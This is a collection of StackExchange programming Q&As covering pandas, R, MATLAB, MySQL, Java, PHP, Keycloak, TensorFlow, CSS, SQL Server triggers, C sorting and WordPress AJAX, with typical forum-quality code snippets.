text:
Q: Pandas multiindex, drop rows where condition remains true? I have a multilevel dataframe
                          Buy     Sell
Date       Time
2018-01-03 11:36:00  24380.50      0.0
           11:37:00  24392.55      0.0
           11:38:00  24392.80      0.0
           11:39:00  24383.90      0.0
           11:48:00  24379.95      0.0
           11:49:00  24393.55      0.0
           11:50:00  24391.55      0.0
           11:51:00  24394.30      0.0
           11:52:00  24391.40      0.0
           11:53:00  24397.20      0.0
           11:54:00  24407.45      0.0
           11:55:00  24404.15      0.0
           11:56:00  24401.95      0.0
           11:57:00  24395.90      0.0
           12:29:00  24387.60      0.0
           12:31:00  24390.45      0.0
           12:33:00  24393.80      0.0
           12:34:00  24397.60      0.0
           12:36:00  24391.95      0.0
           12:37:00  24401.35      0.0
           12:38:00  0.0           24408.50
           12:39:00  24412.35      0.0
           12:40:00  24418.60      0.0
           12:41:00  24426.00      0.0
           12:42:00  24425.00      0.0
           12:43:00  24419.80      0.0
           13:36:00  24390.35      0.0
           13:43:00  0.0           24394.60
           13:44:00  0.0           24397.90
           13:45:00  0.0           24395.85

I am trying to:
If Buy > 0, discard all values after it where Buy > 0 & Sell == 0, if Sell>0 then get that Sell Value to where the first Buy was.
And start discarding the next value where Sell>0 and find the next Buy > 0..so on.
If the Date's level has no more observation then take the last observation as the Buy/Sell dependent on the last observation
Expected output:
                      Buy     Sell      CloseTime  CloseDate
Date       Time
2018-01-03 11:36:00  24380.50     24408.50   12:38:00  2018-01-03
           12:38:00  24395.85     24412.35  12:39:00  2018-01-03
           12:39:00  24395.85     24394.60  13:43:00  2018-01-03
           13:43:00  24394.60     24395.85  13:45:00 2018-01-03 # Last obs.

Things I have tried till now:
df[(df['Buy'] > 0) & (df['Buy'].shift(-1)>0),'Sell'] = 1

And then drop by checking if 1 exists.
It doesn't help me much as even the first row gets a 1.
I also tried a for loop but that is not much help while I can see a way to do it there but it will be very wasteful.

A: My solution is a bit different - add a new col and drop_duplicates:
df['buyorsell'] = np.where(df['Buy']>0, 'B', 'S')
df.drop_duplicates(subset='buyorsell', keep='first').iloc[:,:-1]

Time            Buy     Sell
11:36:00    24380.5     0.0
13:43:00    0.0     24394.6

(I left out the multi-index but it should be the same.)
That will only give you the first change, though. To get each change, swap the second line for:
df.loc[df['buyorsell']shift(-1) != df['buyorsell']].iloc[:,:-1]

And to recreate the CloseTime, CloseDate of the desired output, you can simply use .reset_index().set_index(['Date', 'Time'], drop=False), to have the Date and Time both as index and as separate columns.
After a discussion in chat, it emerged that we needed to get the first and last record from each day, plus each change, so the final answer was:
df.groupby('Date', group_keys=False).apply(lambda df: pd.concat([df.iloc[[0, -1]], df[df.buyorsell.shift().ne(df.buyorsell)]]).drop_duplicates().sort_index())

To keep the last entry from each day on which no change is seen, you could instead put this in a function and use apply:
def find_day(df):
    if df.buyorsell.nunique() == 1:
        return df.drop_duplicates(subset=['buyorsell'], keep='last')
    return df[df.buyorsell.shift() != df.buyorsell].iloc[:,:-1]

df.groupby('date').apply(find_day)


text:
Q: voice classification api for android I want to develop an android application which interacts with the user using voice. I looked at google's speech to text API at http://developer.android.com/reference/android/speech/RecognizerIntent.html
I could not find anything which provides a classification service.
Recognition is much more difficult than classification.
In my usecase, my app will give user the options(eg: say left or right). So, instead of solving the harder of problem of what recognizing what the user said, I only need to decide whether he/she said left or right. I believe that the currrent state of the art in speech classification can solve the latter binary-classification problem with almost 99% accuracy.
Is their an API which is optimized for classifying voice into few(2-3) classes(words/phrases), rather than full blown recognition?
(I have significant Java/C++/machine learning experience, but no android experience)
(recognition, as described above can also be viewed as classification into infinitely many sentences ; hence it is a harder problem(2 vs countably-infinite classes))

A: This Nuance API may help you, This is the list of supported devices

redpajama_set_name: RedPajamaStackExchange


text:
Q: reading indices and values of a matrix from a file and assigning the value Say I have a file with 3 columns. The first 2 columns are the indices(row,column) of a matrix. the third is the value I need to store in the matrix. The first 5 lines of the file looks like this.
     V1 V2   V3
[1,] 13 14 4950
[2,] 20 50 4949
[3,] 22 98 4948
[4,] 30 58 4947
[5,] 43 48 4946

Say I read this file with the following command:
idx<-as.matrix(read.table("data.txt"))

I create a matrix b and store it in there with this code but it doesn't seem to work. I found a work around by using a for loop which seems to work fine but takes a long time.
b<-matrix(0,100,100)
b[idx[,1],idx[,2]]<-idx[,3]

when I try the following I get:
> b[13,14]
[1] 126
> b[22,98]
[1] 115

which doesn't match the third column. Sorry if this is an elementary question. What is going on here?

A: You might consider scan for reading matrices.  With the result, it outputs a message with the number of lines read.  Then you can construct your new matrix.
> s <- scan("data.txt")
# Read 15 items
> m <- matrix(s, 15/3, 3, byrow = TRUE)
> b <- matrix(0, 100, 100)
> b[ m[, 1], m[, 2] ] <- m[, 3]
> b[13, 14]
# [1] 4950
> b[22, 98]
# [1] 4948

A: Okay, figured out what was going on - I needed to set "stringsASFactors = F" while reading the file and everything worked like a charm. I am not sure why that worked...but it did.


text:
Q: Calling MATLAB Superclass of a superclass constructor I have the following problem.  I have three classes: A, B, and C.  A is the base class, B inherits A, and C inherits B.
Each has a constructor that takes in alot of arguments.  However, the constructor for B does a few steps that I don't want in C that I can't undo unless I add more interface code, which would break encapsulation for a few variables.  Namely, I'd give the user of my class the ability to change a few variables that I don't want them to.
As a result, I thought that I'd be clever and try to call the constructor of A from C.  However MATLAB doesn't like this.  See code below.
classdef C < B
  % properties go here
  % ...
  methods(Access = public)
    function obj = C(arguments)
      obj = obj@A(A's arguments);  % MATLAB doesn't like this
      % ...
    end
  end

So, how can I (or can I not), call the constructor to A?

A:
the constructor for B does a few steps that I don't want in C

In that case, your C is not an B. If the constructor from B is not executed in the construction process of C, then C cannot be a valid object of class B. However, the inheritance relationship implies this.
As such, the inheritance C < B is wrong. You should inherit C from A.
If you really want to, I'd try to implement a (mostly empty) protected constructor in B that is then called from C. Not entirely sure that works in Matlab though.


text:
Q: Mysql COUNT subscribers for every route id I have a MYSQL query problem and I'd like some help please.
I have 2 tables.
subscriber: id, campaign_id
route: id, service_code, shortcode
Let's say that: campaign_id = shortcode.
I want to execute a query that takes all the routes and counts the subscribers for each one of them.
I expect the output to be like:
Route  | COUNT
44123  | 12
44566  | 48
44213  | 2
etc
Can you please help me with that?

A: JOIN the two tables, then use COUNT and GROUP BY. Something like:
SELECT
  service_code, COUNT(COALESCE(s.id, 0)) AS `Count`
FROM route AS r
LEFT JOIN Subscriber AS s ON r.shortcode = s.compaign_id
GROUP BY service_code

A: Use this:
select r.service_code, count(*)
from route r join subscriber s on s.campaign_id = r.shortcode
group by r.service_code;


text:
Q: Java: trash in input Stream I worte a small java function that calls another Java program and displays its input.
private static void call() throws Exception
{
    int  line;
    ///Other stuff here
    Process p2= Runtime.getRuntime().exec("java SelfModifying");
    InputStream is = p2.getInputStream();
    //p.waitFor();
    while ((line = is.read()) != -1) {
        System.out.println("result: " + line);
    }
    Runtime.getRuntime().exit(0);
}

The prorgam that gests called is supposed to return a single int value: '10'.
Instead, I get 4 lines:
result: 49
result: 48
result: 13
result: 10
Where do the three other values come from? They are deterministic but seem to come from the input. When I run the program on its own it does not return these 3 lines.

A: You're reading individual bytes from the stream:

*

*49 is ASCII '1';

*48 is ASCII '0';

*13 is ASCII '\r';

*10 is ASCII '\n'.

So the contents of the file is 10\r\n (10, followed by a windows newline).
You should wrap is in a scanner:
Scanner scanner = new Scanner(is, "UTF-8");
System.out.println(scanner.nextInt());


text:
Q: Should I enable BITS on my Sql Server 2008 server? i have a web farm with iis7 boxes running w2k8 and a single sql server running w2k8 also. all x64bit. We're on a private Gigabite LAN.
Should I have BITS enabled for

*

*each iis7 box?

*sql server box?

A: BITS is only needed if you plan on having the server allow other services to upload or download files by using the BITS client.  Examples would be a WSUS server would need the BITS Extensions installed.
Normally you wouldn't need this enabled.


text:
Q: Should I "copy project into workspace" external Android libraries or use the default root location? When importing libraries like appcompat, which are maintained and updated by SDK manager, into a workspace should I copy them into the workspace or use from their root location? If I copy it into my workspace and if Google updates it then I will have to manually update it too, so it seems leaving them in their root location like ~/sdk/extras/.../appcompat sounds like a better option.

A: Just my opinion, but I think it would be far better to copy the library for a single, very good reason: you don't want the android tool to update the dependencies of your project, but it's something you really want to take in your hands instead.
Should you need more convincing think about this scenario:
You have project A and B, both using the same library, linked to the same directory.
Maybe you are working on C, when you find out that google udpated the library and this will probably fix a terrible bug in your project. Months later you go back to project A, and you find out that it's not working anymore.
Now, after all that time, what are the odds of you remembering that you updated the libraries one month before? :)
Oh, and let's not mention the odds of getting the "old" version of the library (should you not be using a code revision system) to make A work again...
Hope this helps


text:
Q: Search query shows all records when searching in two columns and search word is empty I am having an issue with a query I am using.
There are two things to search for, a category and a searchword, category searches within a category column in my database, but this part of the query is only added when a category is selected, if not then the whole category part is not present in the query.
Then my seachword searched in two columns, in a title column and in a text column (called introtext).
This is my query now:
$content = "
SELECT cnt.id as content_id, cnt.title as content_title, cnt.featured, cnt.ordering, cnt.alias as content_alias, cnt.catid, cnt.images, cnt.state, cnt.introtext, cat.id as cat_id, cat.title as cat_title, cat.alias as cat_alias,
MAX(case when f.field_id = 7 then f.value end) as hoofdafbeelding,
MAX(case when f.field_id = 8 then f.value end) as openingstijden,
MAX(case when f.field_id = 9 then f.value end) as straat,
MAX(case when f.field_id = 10 then f.value end) as facebook,
MAX(case when f.field_id = 11 then f.value end) as instagram,
MAX(case when f.field_id = 12 then f.value end) as telefoonnummer,
MAX(case when f.field_id = 13 then f.value end) as website
FROM snm_categories cat
LEFT JOIN snm_content cnt
ON cnt.catid = cat.id AND cnt.state = 1
LEFT JOIN snm_fields_values f
ON cnt.id = f.item_id
WHERE cnt.title LIKE '%".$conn->real_escape_string($trefwoord)."%' OR
cnt.introtext LIKE '%".$conn->real_escape_string($trefwoord)."%'
".$branchequery."
GROUP BY cnt.id, cnt.title, cnt.featured, cnt.alias, cnt.catid, cnt.images, cnt.state, cnt.introtext, cat.id, cat.title, cat.alias
ORDER BY cnt.ordering";
$contentcon = $conn->query($content);

And above that I have a couple of if elses to see if a category (branche) was selected. This code:
if(!empty($branche)){
  $branchequery = "AND cat.alias LIKE '".$conn->real_escape_string($branche)."'";
}else{
  $branchequery = '';
}
$branchetitel = str_replace('-', ' ', $branche);
if(!empty($trefwoord)){
  $gezocht = 'Je zocht naar: '.$trefwoord.'';
}else if(empty($trefwoord) AND empty($branche)){
  $gezocht = 'Je hebt geen zoekopdracht ingevoerd.';
  $branchequery = "AND cat.alias LIKE '%.............%'";
}else{
  $gezocht = 'Je zocht naar: '.ucfirst($branchetitel).'';
}

The dots are a dirty fix so that my query does not return all rows when it is empty.
But I still have this issue when $trefwoord is empty.
So when I pick a category in my search form, but don't add a searchword ($trefwoord) I still get all rows, not just items from that category, I get all of them.
How can I fix that?
Somehow if I remove this line from my query:
OR
    cnt.introtext LIKE '%".$conn->real_escape_string($trefwoord)."%'

It works, but I would like to be able to search in both the text and titles of items in my database. How can I do that?

A: Your problem is in operator precedence in your WHERE clause. At present, when $trefwoord is empty, your WHERE clause looks like this:
WHERE cnt.title LIKE '%%' OR
      cnt.introtext LIKE '%%' AND
      cat.alias LIKE 'something'

This is evaluated as
WHERE cnt.title LIKE '%%' OR
      (cnt.introtext LIKE '%%' AND cat.alias LIKE 'something')

which will always be true (cnt.title LIKE '%%' will always match). You need to resolve this by using parentheses appropriately, so the WHERE clause looks like
WHERE (cnt.title LIKE '%%' OR cnt.introtext LIKE '%%') AND
      cat.alias LIKE 'something'

So, in your PHP write:
WHERE (cnt.title LIKE '%".$conn->real_escape_string($trefwoord)."%' OR
cnt.introtext LIKE '%".$conn->real_escape_string($trefwoord)."%')
".$branchequery."


text:
Q: how to get the list of users from keycloak by using httppost/rest-api I am new to keycloak any help will be appreciable.
I'm able to get the list of user details by using the keycloak api, I want to know how we can get it by using http-post.
Keycloak kc = Keycloak.getInstance("url-path", "realm", "username", "password", "admin-cli");

By using this keycloak object I am able to get the list of users. But when I want to get the list of users by using http-post or rest api call by using the end point url which is given by keycloak I am not able to get the access token based on token I am getting only the particular user , I want list of users by using rest api's.

A: According to the Offical Keycloak Admin REST API Docs (Scroll down a bit to the Get users Returns a list of users, filtered according to query parameters section), you will find that there are 2 query parameters available: first and max.
If you set first as 10 and max as 15, then first 10 users will be skipped, and you will receive the next 15 i.e. users 11 to 25 in response.
Use the following request:
GET https://$KEYCLOAK_HOST/auth/admin/$REALM/users?first=10&max=15

P.S. - Don't forget the Authorization Header.

A: Below are the steps to achieve this by key-cloak rest-api first create the url
String fetchAllUsers = URL+"/admin/realms/"+realmName+"/users?";

Now if you have millions of users you don't want to do fetch all user in one go so keycloak support rest-api with pagination,in your rest post query you can ask
tenantName,queryString,Limit,PageNumber
fetchAllUsers(String tenantName, List<String> queryString, String limit, String pageNumber)

now these thing will help to create a query which will send only that many record which will not impact performance of keycloak as well as web-api.
In queryString user can pass the filter criteria like if he want to search by name,lastname,email-id or user want result in ascending or descending order.That you have to parse and create a query String so it will resemble to the rest query of keycloak. After doing that you can concatenate the query String with  fetchAllUsers .
Your query will be like this
https://<IP ADDRESS>/<PORT>/admin/realms/<REALM NAME>/users?q=username=<USER NAME>ASC&email=<EMAIL ID>&limit=<RECORD LIMIT>&page=<PAGE NO>

Please ignore typo if you found anything.

A: According with official documentation :)
POST /{realm}/users
mean
POST {{keycloak_url}}/admin/realms/{{keycloak_realm}}/users

Ex. POST https://mykeycloak/admin/realms/myrealm/users


text:
Q: XOR gate with a neural network

I was trying to implement an XOR gate with tensorflow. I succeeded in implementing that, but i don't fully understand why it works. I got help from stackoverflow posts here and here. So both with one hot true and without one hot true outputs. Here is the network as i understood, in order to set things clear.
My Question #1:
Notice the RELU function and Sigmoid function. Why we need that(specifically the RELU function)? You may say that in order to achieve non linearity.  I understand how RELU achieves non-linearity. I got the answer from here. Now from what I understand the difference between using RELU and without using RELU is this(see the picture).[I tested the tf.nn.relu function. The output is like this]

Now, if the first function works, why not the second function? From my perspective RELU achieves non-linearity by combining multiple linear functions. So both is linear function(upper two). If first one achieves non linearity, 2nd one should too, shouldn't it? The question is that, without using the RELU why the network gets stuck?
XOR gate with one hot true outputs
hidden1_neuron = 10

def Network(x, weights, bias):
    layer1 = tf.nn.relu(tf.matmul(x, weights['h1']) + bias['h1'])
    layer_final = tf.matmul(layer1, weights['out']) + bias['out']
    return layer_final

weight = {
    'h1' : tf.Variable(tf.random_normal([2, hidden1_neuron])),
    'out': tf.Variable(tf.random_normal([hidden1_neuron, 2]))
}
bias = {
    'h1' : tf.Variable(tf.random_normal([hidden1_neuron])),
    'out': tf.Variable(tf.random_normal([2]))
}

x = tf.placeholder(tf.float32, [None, 2])
y = tf.placeholder(tf.float32, [None, 2])

net = Network(x, weight, bias)

cross_entropy = tf.nn.softmax_cross_entropy_with_logits(net, y)
loss = tf.reduce_mean(cross_entropy)

train_op = tf.train.AdamOptimizer(0.2).minimize(loss)

init_op = tf.initialize_all_variables()

xTrain = np.array([[0, 0], [0, 1], [1, 0], [1, 1]])
yTrain = np.array([[1, 0], [0, 1], [0, 1], [1, 0]])

with tf.Session() as sess:
    sess.run(init_op)
    for i in range(5000):
        train_data = sess.run(train_op, feed_dict={x: xTrain, y: yTrain})
        loss_val = sess.run(loss, feed_dict={x: xTrain, y: yTrain})
        if(not(i%500)):
            print(loss_val)

    result = sess.run(net, feed_dict={x:xTrain})
    print(result)

The code you see above implements the XOR gate with one hot true outputs. If i take out tf.nn.relu, the network gets stuck. Why?
My Question #2:
How can I understand if a network is going to get stuck on some local minima[or some value]? Is it from the plot of cost function (or loss function)? Say, for the network designed above, I used cross entropy as the loss function. I could not find the plotting of cross entropy function. (If you can provide this, this would be very helpful.)
My Question #3:
Notice on the code there is a line hidden1_neuron = 10. It means that i have set the number of neurons in the hidden layer 10. Reducing the number of neurons to 5 makes the network to get stuck. So what should be the number of neurons on hidden layer?
The output when the network works the way it is supposed to :
2.42076
0.000456363
0.000149548
7.40216e-05
4.34194e-05
2.78939e-05
1.8924e-05
1.33214e-05
9.62602e-06
7.06308e-06
[[ 7.5128479  -7.58900356]
 [-5.65254211  5.28509617]
 [-6.96340656  6.62380219]
 [ 7.26610374 -5.9665451 ]]

The output when the network gets stuck:
1.45679
0.346579
0.346575
0.346575
0.346574
0.346574
0.346574
0.346574
0.346574
0.346574
[[ 15.70696926 -18.21559143]
 [ -7.1562047    9.75774956]
 [ -0.03214722  -0.03214724]
 [ -0.03214722  -0.03214724]]

A: Question 1
Both the ReLU and Sigmoid function is non-linear. On the contrary, the function drawn to the right of the ReLU function is linear. Applying multiple linear activation functions will still make the network linear.
Therefore, the network gets stuck when trying to perform linear regression on a non-linear problem.
Question 2
Yes, you will have to pay attention to the progression of the error rate. In larger problem instances, you would typically pay attention to the development of the error function on your test set. This is done by measuring the accuracy of the network after a period of training.
Question 3
The XOR problem requires at least 2 input, 2 hidden, and 1 output node, that is: five nodes are required to correctly model the XOR problem with a simple neural network.


text:
Q: Text align centre while stacking I have some text that ive gotten to align centre correctly. Its currently over a video background. What im wanting it to do is align the text centre all the time while scaling, even what it stacks above each other.
for example:
The cat ate the hat while
   sitting on the matt

Here is a fiddle: http://jsfiddle.net/14kd3L55/3/
The thing needing to be centred correctly is the quote
HTML:

cat ate a hat while sitting on the mat there was even a bat

/*-------------------------------------------------------- Default Layout ----------------------------------------------------------------------------------------------------------------*/
.wrapper{
    display: table;
    width: 100%;
    min-height: 100%;
    position: relative;
}
/*-------------------------------------------------------- Landing Layout ----------------------------------------------------------------------------------------------------------------*/
.quote{
    position:absolute;
    left:25%;
    top:50%;
    margin:0 auto;
    font-family: 'Roboto', sans-serif;
    color:#aaa;
    font-weight:600;
    font-size:2em;
    text-align:centre;
    z-index:4000;
}
.landing_wrap{
    position:relative;
    margin:auto;
    overflow:hidden;
    width:100%;
    height:100%;
}
.landing{
    height:1000px;
    min-height:660px; !important
}
#landingbg {
    position:absolute;
    width:auto;
    height:auto;
    background-size:cover;
    -webkit-background-size: cover;
    -moz-background-size: cover;
    -o-background-size: cover;
    overflow:hidden;
    z-index:1;
}

A: You can use a little trick to achieve that:
.quote {
  position: absolute;
  top: 50%;
  left: 50%;
  text-align: center;
  -webkit-transform: translate(-50%, -50%);
      -ms-transform: translate(-50%, -50%);
         -transform: translate(-50%, -50%);
}


text:
Q: WHERE searching in table state before transaction I'm searching for a way to achieve a bunch of UPDATE operations with the WHERE clause searching in the state where table was before the first UPDATE.
I think I can use some TRANSACTION options but I don't understand well the documentation.
An example:
I've got this request running in a foreach loop:
UPDATE sometable SET someField = '{$newId}' WHERE someField = '{$oldId}';

But sometimes the $oldId is equal to a previous $newId value so update will change to much rows.
EDIT: Some precisions:
Here is a concrete example of what I mean:
// Let s say old Ids are the keys and new Ids are the values
$arrayIds = array(1 => 2, 2 => 4, 3 => 2)
foreach ($arrayIds as $oldId => $newId) {
    $req = "UPDATE clients SET contact_id = '$newId' WHERE contact_id = '$oldId';
    $db->query($req); // DB is a database manager object, no matter how it works, this line query the request to server.
}

In this example, the first iteration will change every contact_id 1 to 2, in the second iteration contact_id 2 to 4 etc. But when comes the second UPDATE, all rows modified by first iteration will also be changed.


text:
Q: Getting an element to "Stretch" past padding of the parent container all the way to the edges using CSS only? If we have elements like this:

header

content

Is there a way to get the div element to stretch all the way to the edges of the parent past the padding using CSS applied to the div element only?
Someone mentioned using negative margin values for the div, and that could work.
I was hoping there's a way to do it without using values directly, in case the CSS padding applied to the parent container changes.

A: If you know how much padding is applied to the parent, you can apply negative margin to the child. then (optionally) re-apply padding to the child so your content stay in the original parent's bounds.

.wrapper {
  padding: 16px;
  border: 2px dashed gray;
}

.header {
  background-color: gray;
  margin-left: -16px;
  margin-right: -16px;
  padding-left: 16px;
  padding-right: 16px;
}

header

content

A: In case you only want to extend the background, here is an idea using border-image but you need to add overflow:hidden to the parent as well

header

content

A: can be solved with position: absolute

header

content


text:
Q: Quadratic equation too hard I am trying to solve a quadratic equation very hard. Is there any other way to solve this without quadratic formula?
$$ x^2(-BE(F+C)^2(G+C)(A+C))))+x(C(F+C))\left [ EBA(D-H)-(G+C)(A+C)(B(D-H)+D(F+C)) \right ]+(ABC^2(D-H))=0 $$
A, B, C, D, E, F, G, H are just constants...i want to solve for x.
I tried quadratic formula but lost myself...
Is there any trick? Can someone help?
Thanks!


text:
Q: How to get Knockout js foreach working I am creating a simple budget app to help me learn knockout js.
What I'm trying to do is allow a user to enter or load a JSON object representing a list of bills. The use can enter a date for their next payday and click the Week Range button. They can then enter new bills if desired but not necessary. This will generate an array that stores the date of the next payday. For now you just click the Get Bills button to populate the bills array from some hardcoded data. After that click the Set Budget button to process the weekRange array and the bills array. Where an object is created representing the bills for that week, which is then plugged in to a budget array.
Everything is working except when I try to begin displaying the budget array with a foreach binding it fails.
Please refer to this js fiddle for the code Budget JS Fiddle
Here is the function that process the bills and the weekRange arrays
self.setBudget = function () {
        self.budget.removeAll();
        for (var i = 0; i < self.weekRange().length; i++) {
            var weekOf = self.weekRange()[i];
            var startDate = moment(weekOf);
            var endDate = moment(self.weekRange()[i + 1]);

            var thisWeeksBill = new weeklyBill();
            thisWeeksBill.startOfWeek(weekOf);

            for (var j = 0; j < self.bills().length; j++) {
                var date = moment(self.bills()[j].dueDate());

                if (date.isBetween(startDate, endDate, null, '[)')) {
                    var jsBill= ko.toJS(self.bills()[j]);
                    thisWeeksBill.weeklyBills().push(new bill(jsBill));
                    self.bills()[j].dueDate(date.add(1, 'months').format("YYYY-MM-DD"))
                }
            }
            thisWeeksBill.weeklyAmount(totalWeeklyBills(thisWeeksBill));
            self.budget().push(thisWeeksBill);

        }
        console.log(self.budget());
    }

The html for the table with the foreach binding

                Week Of

If you pull up the dev tools and watch to console you will see that the weekRange array is populated after clicking the WeekRange button and the budget array is populated after clicking the Set Budget button, but nothing happens in the table that is suppose to (at the moment) just show a list of the weekly start dates.

A: As Bryan Dellinger pointed out in the comments you had issues with push. I wouldn't say it's really a syntax error though—you really are pushing elements to the array. The issue that you're modifying the underlying array, which doesn't trigger an update notification. When you use push directly on the observable, though, knockout's function will trigger an update notification

For functions that modify the contents of the array, such as push and splice, KO's methods automatically trigger the dependency tracking mechanism so that all registered listeners are notified of the change, and your UI is automatically updated. [1]

I haven't seen anywhere where it says explicitly that modifying the underlying object of an observable doesn't trigger the update, but that's the behavior. Using the valueHasMutated() function on the observable can force an update, though. So if you want to update the underlying array, perhaps to skip the update if you're doing many modifications and only want one update, then you can call that.


text:
Q: SQLCLR Community Extensions or common library Having just finished writing a Regex replacement and match function and tvf for SQLCLR for the fifth time, I sat and pondered whether there was a set of common community extensions for SQLCLR for the most common things you want in a database but are never provided.
Powershell for example has an excellent set of community extensions that cover a plethora of additional functionality not included in the box. I wouldn't use Powershell without it.
I thought maybe SQLCLR had something similar. I'm looking for things like:

*

*Regular expression support (isMatch, Replace, Match)

*Base64 encode/decode support

*String formatting (Datetimes, byte arrays, ints floats and decimals, etc)

*Hashing, encryption with arbitrary algorithms (I know SQL 2k5, 2k8 support some basic stuff but no SHA2? What is up with that?)

*Common additional aggregations; OR bits, AND bits, cat strings (String.Join)

*Compression/decompression

Does anyone know of a library that has common routine functionality like this that we all write over and over again?

A: Peter take a look at SQL# which is a SQLCLR Assembly created by Solomon Rutzky that has two versions, a FREE edition and a pay version.  You will find that the FREE edition has a number of the items that you have mentioned above included.
http://www.sqlsharp.com/

A: SplitString(), and many others could be added.  Perhaps we create a SqlClrContrib site?  Where people can post their ideas to an open source project and we can add such functions?


text:
Q: SQL Logon Triggers with Domain Groups I've done a ton of googling and reading here and there on forums, etc. I cant find any answers with respect to using domain groups added to SQL and then running triggers for members of that group. BTW... I know very little about SQL.
So, this works with SQL accts:
USE master;
GO

GRANT VIEW SERVER STATE TO admintest;
GO

CREATE TRIGGER connection_trigger
ON ALL SERVER WITH EXECUTE AS 'admintest'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN()= 'admintest' AND
    (SELECT COUNT(*) FROM sys.dm_exec_sessions
            WHERE is_user_process = 1 AND
                original_login_name = 'admintest') > 2
    ROLLBACK;
END;

But when I add domain security groups that have been added to SQL I get this:
Msg 15151, Level 16, State 1, Procedure connection_trigger, Line 7
Cannot execute as the login '[testdomain\domain admins]', because it does
not exist or you do not have permission.

Both have the exact same permissions. admintest works. Yet, I get an error if I add a group.

A:
Cannot execute as the login '[testdomain\domain admins]', because it
does  not exist or you do not have permission.

You tried to impersonate Windows group and this is not allowed, please read the documentation: EXECUTE AS Clause (Transact-SQL)

' login_name '
Specifies the statements inside the module execute in
the context of the SQL Server login specified in login_name.
Permissions for any objects within the module are verified against
login_name. login_name can be specified only for DDL triggers with
server scope or logon triggers. login_name cannot be a group, role,
certificate, key, or built-in account, such as NT
AUTHORITY\LocalService, NT AUTHORITY\NetworkService, or NT
AUTHORITY\LocalSystem

However, the main problem here is not that you tried to impersonate a group, but that you don't understand WHY do you use EXECUTE AS clause.
When someone will execute your trigger he should be able to see ALL the sessions, not only his own session, so he shoud have VIEW SERVER STATE permission. That is why the trigger use EXECUTE AS clause with the login that has been granted this permission.
So you use any login that has this permission in EXECUTE AS clause and there is absolutely no need to execute the trigger from the name of Windows group


text:
Q: How can I get the sorting permutation of an array? I have an array of k integers that I want to sort from largest to smallest integer. However, I would like it to "remember" the original index of the unsorted array.
(Note: I am programming in C language).
In my example, I have an array of 26 elements which represents the occurrences of the letters of the alphabet in a text file. So, the first element is the number of times that "a" appears in the text, the second element is the number of times that "b" appears, and so on...
I want to order the array in such a way to have that I can get the statistics of occurrences of the letters from the most common to the least common.
Now, I have thought of two possible ways of doing this:

*

*Using a 26x2 bidimensional array which has the indexes of the letters in the first column and the occurrences in the second column. By sorting only by the second column, I would get a 26x2 array that is ordered as I want it to be, but I don't know if the indexes would still be associated to the occurrences of the letters as well (I don't know how to implement this).

*The other option I was thinking about is to somehow generate the permutation of the 26 indexes which WOULD sort the array without actually sorting it. In this way I could compare this "permutation array" to my unordered array and figure out which letter is the most common. However I don't know if such a function exists in C.
Could someone elighten me on how they would tackle this problem? Even with pseudo-code, as long as you let me know how the functions are called and the libraries where they are defined. Thank you so much!

A: You can do this with a variation of the first option.
Define a struct which contains two fields: a count and the letter in question for that count.  Create an array of these structs with the letters in order and populate the counts.  Then sort the array of structs based on the count field.  You'll be left with the structs ordered by count instead of by letter.

A: You do use an array of structures with the count and the letter and sort this array with a appropriate comparison function.
Alternately, you can combine the count and the letter into a single number:
int a[26];
...

for (int i = 0; i < 26; i++) {
    a[i] = a[i] * 26 + i;
}

You can then sort this array of int, and print the counts along with the letter value:
qsort(a, 26, sizeof(*a), cmp_int);

for (i = 0; i < 26; i++) {
    printf("%c: %d\n", 'A' + a[i] % 26, a[i] / 26);
}

The comparison function for sorting in descending order:
int cmp_int(const void *a, const void *b) {
    int aa = *(const int **)a;
    int bb = *(const int **)b;
    return (aa < bb) - (aa > bb);
}

A: For 26 small integers, the computation time and resources are generally negligible, so the code should be written for simplicity and clarity. If qsort accepted a context that it passed to the comparison routines, I would suggest sorting an array of indices into the count array. However, this requires knowing where the count array is, which we cannot pass through qsort. An alternative is to sort pointers to the counts:
#include <stdio.h>
#include <stdlib.h>

#define N   26

//  Compare the counts of the letters pointed to indirectly.
static int compare(const void *va, const void *vb)
{
    const int * const *pa = va, * const *pb = vb;
    int a = **pa, b = **pb;
    return
        a <  b ? -1 :
        a == b ?  0 :
                 +1;
}

int main(void)
{
    srand(0);

    int count[N];
    for (size_t i = 0; i < N; ++i) count[i] = rand();

    //  Initialize an array of pointers into count.
    int *pointer[N];
    for (size_t i = 0; i < N; ++i) pointer[i] = &count[i];

    //  Sort the pointers.
    qsort(pointer, N, sizeof *pointer, compare);

    //  Print the letters and their counts in order from the sorted pointers.
    for (size_t i = 0; i < N; ++i)
        printf("%c appears %d times.\n",
            (int) ('a' + (pointer[i] - count)), *pointer[i]);
    //  (ASCII is assumed.)
}

Observe that, because pointer[i] points into the count array, we can recover the index of the letter using pointer[i] - count. (Bonus points for explaining why 'a' + (index[i] - count) is cast to int.)


text:
Q: AJAX: Send and retrieve a value with jquery post() and PHP, WordPress I'm trying to make the following happen in a WordPress page:

*

*User clicks on a "sort posts by" button

*Value from the button is sent to sortFilter.php page

*Current page is refreshed and uses the value posted in sortFilter.php to create a new loop.

On the initial page there is a  tag that I want to load the data into:

Here is the code I'm using, and it doesn't seem to be working (nothing is being loaded into the #sortFilter p)
$(document).ready(function() {

    setInterval(function(){
        $("#sortFilter").load("http://<?php echo $_SERVER[HTTP_HOST]; ?>/sort-filter/");
    },1000);

    //Filter Categories
    $.ajaxSetup({cache:true});
    $('#byAuthorCtrl ul li').click( function() {
        $.post("http://<?php echo $_SERVER[HTTP_HOST]; ?>/sort-filter/", {id: "testValue"}
        );
    });
});

then on sortFilter.php:
<?php

/*
Template Name: sortFilter
*/

$id = $_POST['id'];
echo $id;
?>

Right now I'm just using a test value to try to post to the page.

A: WordPress has built in AJAX capabilities. Send your ajax request to /wp-admin/admin-ajax.php using POST with the argument 'action':
jQuery(document).ready(function(){
        jQuery.ajax({
          type:'POST',
          data:{
            action:'my_unique_action',
            id:'testValue'
          },
          url: "http://mysite/wp-admin/admin-ajax.php",
          success: function(value) {
            jQuery(this).html(value);
          }
        });
});

Then hook it in the plugin like this if you only want it to work for logged in users:
add_action('wp_ajax_my_unique_action','doMyCustomAjax');

or hook it like this to work only for non-logged in users:
add_action('wp_ajax_nopriv_my_unique_action','doMyCustomAjax');

Use both if you want it to work for everybody.
Here's the doAjax function, for example:
function doMyCustomAjax(){
  $id = ( isset( $_POST['id'] ) ) ? $_POST['id'] : '';
  if( empty( $id ) )
    return;
  echo $id;
}

Put that in functions.php too. That will return the id you send in AJAX.
